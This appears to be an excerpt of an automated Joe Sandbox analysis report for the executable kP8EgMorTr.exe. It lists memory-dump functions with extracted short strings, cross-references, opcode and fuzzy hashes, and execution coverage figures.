Instruction ID: 1e45082a1767044642bea5cb6ef933e3a799cb96161ef2d1c1d4ec03832fd28a
Opcode Fuzzy Hash: 5e194d323c784a1ac66df7b6e5038f35b0f322bb19bf78bb4b4ae6c71c2951b7
Instruction Fuzzy Hash: 8661F770E016498FD718EF7BE94169EBBF3FB88301F14D53AD0089B269EB7859068B51

Function 06D0AFA0 Relevance: 1.4, Strings: 1, Instructions: 159COMMON

Download Yara Rule

Strings

4'q, xrefs: 06D0B072

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: 4'q
API String ID: 0-1807707664
Opcode ID: 2f3f9e25d9b75c5679dbe69d879cbe348058af2f3b60e0ceb0988eab63a14c3f
Instruction ID: 1c76ef750b59f30d5435b46b2d19c5902c5793d8c7474c4cd9c960bc575faf3f
Opcode Fuzzy Hash: 2f3f9e25d9b75c5679dbe69d879cbe348058af2f3b60e0ceb0988eab63a14c3f
Instruction Fuzzy Hash: D8610670E016498FE718EF7BE94169EBBF2FBC8301F14C539D0089B269EB7859068B51

Function 009FE124 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1246179678.00000000009F0000.00000040.00000800.00020000.00000000.sdmp, Offset: 009F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f0fd69f64eb12f565f8851c010c661c76d6019c69254464065fb5c4908441ff9
Instruction ID: 238e4be65499775640df4a6de9e0ca995bef630efcbc2e97966f80d160f12e60
Opcode Fuzzy Hash: f0fd69f64eb12f565f8851c010c661c76d6019c69254464065fb5c4908441ff9
Instruction Fuzzy Hash: 31A18E32E102098FCF05DFB5C8505AEB7B6FFC5301B1585BAE906AB261DB71E956CB80

Function 06D0DBC0 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1255850284.0000000006D00000.00000040.00000800.00020000.00000000.sdmp, Offset: 06D00000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6d00000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6fea251607836a51f47e6a13f35625c01f4f3e411cd0d102dcd87afe8c792cd
Instruction ID: 42ee4e755c59bab8d1e1e5616a6399a9998f68f268ee0a3461c5f95e5fb58602
Opcode Fuzzy Hash: e6fea251607836a51f47e6a13f35625c01f4f3e411cd0d102dcd87afe8c792cd
Instruction Fuzzy Hash: 27612374D04209CFEB54DFEAD840AEEBBB6FF89300F20912AD419A7295D7709942CF90

Analysis Process: kP8EgMorTr.exePID: 7432, Parent PID: 7276COMMON

Execution Graph

Execution Coverage:	11%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	14
Total number of Limit Nodes:	3

Executed Functions

Function 031CC468 Relevance: 5.2, Strings: 4, Instructions: 209
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CC6D0
PHq, xrefs: 031CC400
PHq, xrefs: 031CC6BF
PHq, xrefs: 031CC3EF

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq$PHq$PHq
API String ID: 0-376399332
Opcode ID: 0a764eb85d1162da7f9a65b0366fc18e8d45f8033ae5219bc72fa03e2ce3ebf0
Instruction ID: f8272a6c6e14dc5c3b718c2445eab74c68d6601bb279ca63bfdea30037b32bf6
Opcode Fuzzy Hash: 0a764eb85d1162da7f9a65b0366fc18e8d45f8033ae5219bc72fa03e2ce3ebf0
Instruction Fuzzy Hash: E491E674E10258CFEB14DFAAD984A9DBBF2BF98310F14806AE419AB355DB309D42CF50

Function 031CA088 Relevance: 3.4, Strings: 2, Instructions: 887COMMON

Download Yara Rule

Strings

4'q, xrefs: 031CAB13
(oq, xrefs: 031CA518

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: (oq$4'q
API String ID: 0-1336004174
Opcode ID: 26379d7ab905d3f191995dd95647b66bf1662d6aad2a4ad565ce913ca9041861
Instruction ID: a8f221c1a3348f84f62eb53a1c2757bc116a786c48d303282445a339aae18016
Opcode Fuzzy Hash: 26379d7ab905d3f191995dd95647b66bf1662d6aad2a4ad565ce913ca9041861
Instruction Fuzzy Hash: 5C826F71A10289DFCB16CFA8C984AAEBBF6FF9C310F158559E405DB2A1D731E981CB50

Function 031C7118 Relevance: 2.9, Strings: 2, Instructions: 417
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 031C7220
(oq, xrefs: 031C7212

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: (oq$(oq
API String ID: 0-1396055846
Opcode ID: 8c9f5b36e4687d60ac049f1526cfe3af744021f6f2094cc320b4538b1c169c23
Instruction ID: 9443415ece5f86b677e2c759519953e604b580e2cf70de6b9091f5ae8ca43315
Opcode Fuzzy Hash: 8c9f5b36e4687d60ac049f1526cfe3af744021f6f2094cc320b4538b1c169c23
Instruction Fuzzy Hash: 64F15D71A20259CFCB15CF69D884AADBBB6BF5C310F1980A9E845EB3A1D770E841CF50

Function 031CC147 Relevance: 2.7, Strings: 2, Instructions: 231
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CC400
PHq, xrefs: 031CC3EF

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: ccbef8fde0bc3134b3df78d8c7de135be23f690cc905b4a5cc87d8510c7348ea
Instruction ID: 36db47ab3e6aef37e252c1bc41dbbb2d7b2ef7f25b36bb07c93af56e892eb6f3
Opcode Fuzzy Hash: ccbef8fde0bc3134b3df78d8c7de135be23f690cc905b4a5cc87d8510c7348ea
Instruction Fuzzy Hash: E2A1E675E10258CFDB14DFAAD984A9DBBF2BF99310F14806AE409AB361DB309D42CF51

Function 031C5362 Relevance: 2.7, Strings: 2, Instructions: 193
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031C55D9
PHq, xrefs: 031C55C8

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 08df8d53e9cd06710c111cdda66db3e0c1cf6a6aaa638d11c266544fbcbcd849
Instruction ID: 9dd387821921c200e14252e385d66267a4e9d5ec873e0374ffd310034d736aad
Opcode Fuzzy Hash: 08df8d53e9cd06710c111cdda66db3e0c1cf6a6aaa638d11c266544fbcbcd849
Instruction Fuzzy Hash: 9091D674E10258CFDB14CFAAD984A9DBBF2BF99310F14C06AD809AB365DB34A845CF51

Function 031CCA08 Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CCC70
PHq, xrefs: 031CCC5F

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: d2f7dea20e13a87a8975c2cfcf22f5d12acddfb6ee29a7b3b816e2eb7b2ebe4e
Instruction ID: c7f5ae627966114b7f843b5a37bd53c0073be0faaa98307741ca4363558103cd
Opcode Fuzzy Hash: d2f7dea20e13a87a8975c2cfcf22f5d12acddfb6ee29a7b3b816e2eb7b2ebe4e
Instruction Fuzzy Hash: 7381B374E10258CFDB14DFAAD984A9DBBF2BF99310F148069E419AB365DB309D42CF50

Function 031CCFF8 Relevance: 2.7, Strings: 2, Instructions: 183
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CD260
PHq, xrefs: 031CD24F

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 6cf6dc18ba74556417c3dbaf5d3d9d9a63b93582129ad274042158889be010e8
Instruction ID: 8d4ea55f2d1246716222ac1f5c733cae6548421f1fcf3a2650a050405881dee5
Opcode Fuzzy Hash: 6cf6dc18ba74556417c3dbaf5d3d9d9a63b93582129ad274042158889be010e8
Instruction Fuzzy Hash: 5081B374E00258CFEB14DFAAD984A9DBBF2BF98310F14C069E419AB365DB749981CF50

Function 031CD2CB Relevance: 2.7, Strings: 2, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CD530
PHq, xrefs: 031CD51F

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 52e9004bf655fd24cb2a3341926b69dd4f3ea0249aea5ffd8bd3fb212799c317
Instruction ID: e84f208325233bfc4144ca16ae150a8893cd47a932b3aab9c1aae3d759cdddf8
Opcode Fuzzy Hash: 52e9004bf655fd24cb2a3341926b69dd4f3ea0249aea5ffd8bd3fb212799c317
Instruction Fuzzy Hash: AE81B274E00258CFEB14DFAAD984A9DFBF2BF99310F148069E419AB365DB349981CF50

Function 031CC738 Relevance: 2.7, Strings: 2, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CC9A0
PHq, xrefs: 031CC98F

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: 6b0a761f8910c0538a1f1d28c4fa5b10d6dc7763488beb9651b238813aae9ee7
Instruction ID: d3300b05932f28ef5bfd4a47deb2ce4a758e431b135594cb3e30ae86f541366d
Opcode Fuzzy Hash: 6b0a761f8910c0538a1f1d28c4fa5b10d6dc7763488beb9651b238813aae9ee7
Instruction Fuzzy Hash: 4F819274E10258CFEB14DFAAD984A9DFBF2BF98310F14806AD419AB365DB349942CF50

Function 031CD599 Relevance: 2.7, Strings: 2, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

PHq, xrefs: 031CD7EF
PHq, xrefs: 031CD800

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: PHq$PHq
API String ID: 0-1274609152
Opcode ID: a690460c4dc4865f0c2239af89af32960899b11cfd0e0872a0526f40c87c9d1c
Instruction ID: e07c524455f78634aa8e73a0d6afd1b2a531fedeb18eda23b7518bad9a774296
Opcode Fuzzy Hash: a690460c4dc4865f0c2239af89af32960899b11cfd0e0872a0526f40c87c9d1c
Instruction Fuzzy Hash: 8981B274E00258CFEB14DFAAD984A9DBBF2BF98310F14C069E819AB365DB349941CF50

Function 05E997B0 Relevance: 1.9, APIs: 1, Instructions: 357
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5c2cec22b30bb8d690d5fab945dbeb245a67754d8fbbfdf459c292063a122eb0
Instruction ID: 2ddd6384cb8a5f00264356bdb6e2e443333983961cd0c0da8a05e821526cf33a
Opcode Fuzzy Hash: 5c2cec22b30bb8d690d5fab945dbeb245a67754d8fbbfdf459c292063a122eb0
Instruction Fuzzy Hash: 66F1E674E00219CFDB28DFA9C984B9DFBB2BF48304F5481A9D848AB355DB749985CF50

Function 031C69A0 Relevance: 1.8, Strings: 1, Instructions: 505COMMON

Download Yara Rule

Strings

(oq, xrefs: 031C6EDA

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: (oq
API String ID: 0-1999159160
Opcode ID: e85303169ed3ecd724c972c9a3856a947e545ca1496be2da74e3fa2593ff28d6
Instruction ID: 1e10d10f859186eacb19cc98474349d99d9b8753e0630091e1a6222736d4b119
Opcode Fuzzy Hash: e85303169ed3ecd724c972c9a3856a947e545ca1496be2da74e3fa2593ff28d6
Instruction Fuzzy Hash: 95127B70A102598FDB14DF69D854BAEBBB6BF98300F18856EE409AB394DF34DD41CB90

Function 031C3E09 Relevance: 1.5, Strings: 1, Instructions: 267COMMON

Download Yara Rule

Strings

$q, xrefs: 031C3E2E

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: $q
API String ID: 0-1301096350
Opcode ID: eb6eb47d46d901dfc317dd24753f716e3e609ca20fcf7b379eae7702ebf9aa42
Instruction ID: 59102bb5b2b946f2be9208bff9b3edea0e31c06426a16d0174ea88fe5fbac2bd
Opcode Fuzzy Hash: eb6eb47d46d901dfc317dd24753f716e3e609ca20fcf7b379eae7702ebf9aa42
Instruction Fuzzy Hash: 9791B434B18358CBDB5CEBB9946427E7BB3BFC8710B05852DE506E7388CE3588128796

Function 031C29EC Relevance: .4, Instructions: 436COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0dbbe399bf7ea018253aba7d5f4e9a8a2372626ce3f9a2ee252bbb87c2de268e
Instruction ID: 3b563c43ecd418566c24c0f7f314bda05075349aa7c724b110b8ac9ec7711801
Opcode Fuzzy Hash: 0dbbe399bf7ea018253aba7d5f4e9a8a2372626ce3f9a2ee252bbb87c2de268e
Instruction Fuzzy Hash: A7C11936D242998BCFA5CF7888403EDFB71EB5D600F188D99C454AF251DB368A4BCB91

Function 031CEC18 Relevance: .1, Instructions: 147COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66c3519ddc1afd67b9d3018d46838b104f859da6be9269737d615eabf711bc1e
Instruction ID: 6aa3540255d28e7211a8562c96510ad6cbd09a70357fe65db41d4f63d379e374
Opcode Fuzzy Hash: 66c3519ddc1afd67b9d3018d46838b104f859da6be9269737d615eabf711bc1e
Instruction Fuzzy Hash: 5F518574E00348DFDB18DFAAD994AADBBB2FF89300F249129E815AB364DB345941CF14

Function 031CEC0B Relevance: .1, Instructions: 146COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2b749cabfe250859a76b7e588faa15cbbb4d0329812524b94711625e0b88c941
Instruction ID: be5d6fc24d5d61c09d4f0d40ea6f2f27d19dab63ab4abf180ef9988d5b80da6c
Opcode Fuzzy Hash: 2b749cabfe250859a76b7e588faa15cbbb4d0329812524b94711625e0b88c941
Instruction Fuzzy Hash: AC51A774E10348DFDB18DFA9D954AADBBB2FF89300F24912AE815AB365DB345842CF10

Function 031C76F1 Relevance: 8.0, Strings: 6, Instructions: 469
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 031C772E
(oq, xrefs: 031C7C0F
(oq, xrefs: 031C7BFF
(oq, xrefs: 031C77E9
(oq, xrefs: 031C7815
(oq, xrefs: 031C78B2

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: (oq$(oq$(oq$(oq$(oq$(oq
API String ID: 0-4267992933
Opcode ID: e7e79612c5c892954494c2f681b5045b7694e9c269a0764f3c1d453ded06f05b
Instruction ID: d99b6e57b119bce729dbcddfc18596e8846c3d4678bbe20bb3850092424a16fd
Opcode Fuzzy Hash: e7e79612c5c892954494c2f681b5045b7694e9c269a0764f3c1d453ded06f05b
Instruction Fuzzy Hash: 23125C34A102898FCB24CF69D984A9EBBF6FF58310F188599E8559B3A1DB70ED41CF50

Function 031C8490 Relevance: 3.2, Strings: 2, Instructions: 697
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$q, xrefs: 031C8FB4
$q, xrefs: 031C8FD7

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: $q$$q
API String ID: 0-3126353813
Opcode ID: 2dbd598048d7d7cde8793001b515b37ac3e24fd777ae86c44a64bf3b54643fad
Instruction ID: 00821e487404ad83d69a42b3d56c68b3faeab918cf2e024f7d81e13decbf53ff
Opcode Fuzzy Hash: 2dbd598048d7d7cde8793001b515b37ac3e24fd777ae86c44a64bf3b54643fad
Instruction Fuzzy Hash: 64521774A003198FEB65EBA4C860BAEBB76FF58300F1080ADD50A6B395CB359D85DF51

Function 031C9C30 Relevance: 2.6, Strings: 2, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

4'q, xrefs: 031C9D84
4'q, xrefs: 031C9D6D

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: 4'q$4'q
API String ID: 0-1467158625
Opcode ID: f29d4572286ee6837fc87e8b950c09a133d0e0906eaca4cfbd1949170efbedc1
Instruction ID: a22a52fe524d70bb1c12af75707d0c124a7700a35ce659f17ca75e10746f7883
Opcode Fuzzy Hash: f29d4572286ee6837fc87e8b950c09a133d0e0906eaca4cfbd1949170efbedc1
Instruction Fuzzy Hash: 42518D347203849FDB10DB69C854B7ABBEAEB9C311F08846AE908DB395DB71CC0187A1

Function 031CAEBB Relevance: 2.6, Strings: 2, Instructions: 112
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

(oq, xrefs: 031CB079
(oq, xrefs: 031CAECD

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: (oq$(oq
API String ID: 0-1396055846
Opcode ID: 0e32a390aac71c579649467466e62362c83ae5737fe9afa6f9dd8c309963a735
Instruction ID: a1c8e86869fe39e12f67b6db88beecb4bc03791dc624e91fa0a1c43f6bb37b79
Opcode Fuzzy Hash: 0e32a390aac71c579649467466e62362c83ae5737fe9afa6f9dd8c309963a735
Instruction Fuzzy Hash: AF31CE72B142498FC705EF69E81576E7BB2AFDC610F18806EE51ACB390DF358C029B91

Function 031C0C8F Relevance: 1.8, Strings: 1, Instructions: 547
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

LRq, xrefs: 031C0F19

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: e16f9df8bbcdb872146e35005996e7fe24a5ca2fdefbb9a85aca3126cf2402d4
Instruction ID: ac03ef90f6d0d5238b5f9fa5828eba467832db7688cacc6ab19e55942f3acca0
Opcode Fuzzy Hash: e16f9df8bbcdb872146e35005996e7fe24a5ca2fdefbb9a85aca3126cf2402d4
Instruction Fuzzy Hash: 7652DB75E00219CFCB64DF28E998A9DBBB2FB4D311F5081A9E409AB354DB345E81CF91

Function 031C0CA0 Relevance: 1.8, Strings: 1, Instructions: 539COMMON

Download Yara Rule

Strings

LRq, xrefs: 031C0F19

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID: LRq
API String ID: 0-3187445251
Opcode ID: ad8184d63315efb6803f9b9a7f9adf3f7dcb222ae0c3b91b799ee19edc629ba7
Instruction ID: 924af009a3b783d5c93f12f29e9fa0d5ac2736001fd92ea4c51282442aae119d
Opcode Fuzzy Hash: ad8184d63315efb6803f9b9a7f9adf3f7dcb222ae0c3b91b799ee19edc629ba7
Instruction Fuzzy Hash: 4452D975E00219CFCB64DF28E998A9DBBB2FB4D311F5081A9E409AB354DB345E81CF91

Function 05E99B94 Relevance: 1.6, APIs: 1, Instructions: 62libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000), ref: 05E99CD6

Memory Dump Source

Source File: 00000003.00000002.3703933664.0000000005E90000.00000040.00000800.00020000.00000000.sdmp, Offset: 05E90000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5e90000_kP8EgMorTr.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: af7822b4e340bb5e2973faa9747ed232b1c7b52930c28418f03002d47ce55779
Instruction ID: 1e03ff49e8b4c9ad588a647d745a4035e3b437d663279d671cb45b49ff935b14
Opcode Fuzzy Hash: af7822b4e340bb5e2973faa9747ed232b1c7b52930c28418f03002d47ce55779
Instruction Fuzzy Hash: A6116D74E042099FEF08DBA8D984EFDBBF5FB98305F148159E844E7246D730A941CBA0

Function 031CE270 Relevance: .7, Instructions: 675COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a4dda803ed9974ebe02cbf791ef425c7e1a3d76635785cc6fdce09a69ea7552a
Instruction ID: 775039fdbdbb411aff7ff0c5ab19d5732297da315fa562370f3d18ffd6b1336c
Opcode Fuzzy Hash: a4dda803ed9974ebe02cbf791ef425c7e1a3d76635785cc6fdce09a69ea7552a
Instruction Fuzzy Hash: C722B6740313568FE7516B30A6AE52ABF69FB4F323704EC15F80AC8859DF300489EB22

Function 031CE2A8 Relevance: .6, Instructions: 647COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50db4e186a59aaed589bf2dc4eac8a69fc2a6fadd58e3cbc7b23a5e9fcd42193
Instruction ID: b26305dbab8c82afbfc35065a4fbeb76dcf4959960202d97c4f93e50623c24f1
Opcode Fuzzy Hash: 50db4e186a59aaed589bf2dc4eac8a69fc2a6fadd58e3cbc7b23a5e9fcd42193
Instruction Fuzzy Hash: 691294740313568FE6516B20A6AE52EBF69FB5F323704EC15F80EC88589F710589EF26

Function 031C5F38 Relevance: .3, Instructions: 266COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4a3880ec264ddbdd40ba392d0a1f86bf807f7febaa94c6ec4b2d05f34e390f36
Instruction ID: c0c44fc81b8d9e69e0c4236c0294e3ac57068f9ab9fe31b4e0c416ef93b4d687
Opcode Fuzzy Hash: 4a3880ec264ddbdd40ba392d0a1f86bf807f7febaa94c6ec4b2d05f34e390f36
Instruction Fuzzy Hash: 8D91CC703143858FDB1ADF65D858B6E7BB2ABDD200F18846EE4468B395DF38C842DB91

Function 031C6498 Relevance: .2, Instructions: 227COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 076b83bcae7b7bc6dce3db643071c6bb3012d37e78314beb58aa01ef60007ce9
Instruction ID: 065555d4316c6418ffd78a19905f06d899e75257bd579546929889c3358fe982
Opcode Fuzzy Hash: 076b83bcae7b7bc6dce3db643071c6bb3012d37e78314beb58aa01ef60007ce9
Instruction Fuzzy Hash: 3C81AF34A10656DFCB18CF69C884A69FBB2FF9D210B2D816DD406EB365DB31E841CB90

Function 031C9A10 Relevance: .2, Instructions: 223COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 54f761cc275332b7961d0239bfc8c25006ccf7352fa9a5b30574d79594142d5c
Instruction ID: 7bbe33dda18b4b6f27e081b0d32100ae4bc04a75bf341f954f10023ead353fb8
Opcode Fuzzy Hash: 54f761cc275332b7961d0239bfc8c25006ccf7352fa9a5b30574d79594142d5c
Instruction Fuzzy Hash: 8D8129315106869FC711CF28C884A9AFBB6FF99324F15C2AAD8589B391D731E815CBE1

Function 031C80D8 Relevance: .2, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7f47cb164067ded1e35a900562bfc6b6b7e38bd6a818e0a63e21fcfeff2157d
Instruction ID: c41f9b335e0bb3654ddf721b976537768d0b0d089d0ebed9d74063e81039ae75
Opcode Fuzzy Hash: b7f47cb164067ded1e35a900562bfc6b6b7e38bd6a818e0a63e21fcfeff2157d
Instruction Fuzzy Hash: AC713C347206858FCB25DF68C888A6EBBE5AF6D340B1940AAE806DB371DB70DC41CB51

Function 031CF5AF Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.3699575343.00000000031C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 031C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_31c0000_kP8EgMorTr.jbxd

Similarity

API ID:
String ID:
API String ID:
